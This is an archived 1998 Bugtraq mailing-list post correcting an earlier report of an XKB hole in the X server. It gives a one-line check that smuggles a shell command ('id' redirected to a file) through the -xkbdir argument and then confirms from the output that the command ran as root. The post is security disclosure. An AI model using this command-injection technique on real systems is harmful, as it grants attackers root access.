Bugtraq mailing list archives

serious security problem in XKB--ERRATUM

From: peak () kerberos troja mff cuni cz (Pavel Kankovsky)
Date: Wed, 4 Feb 1998 10:39:28 +0100

Quick vulnerability check:

$ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;'
[exit X server]
$ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'


This should read:

$ Xserver -xkbdir ':;id > /tmp/I_WAS_HERE;'
[exit X server]
$ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'


--Pavel Kankovsky aka Peak   [ Boycott Microsoft -- http://www.vcnet.com/bms ]

Current thread:

serious security problem in XKB Pavel Kankovsky (Feb 03)
- RedHat 4.x/5.0 /dev permissions Micha? Zalewski (Feb 04)
- serious security problem in XKB--ERRATUM Pavel Kankovsky (Feb 04)
- An old ld-linux.so hole Rafal Wojtczuk (Feb 04)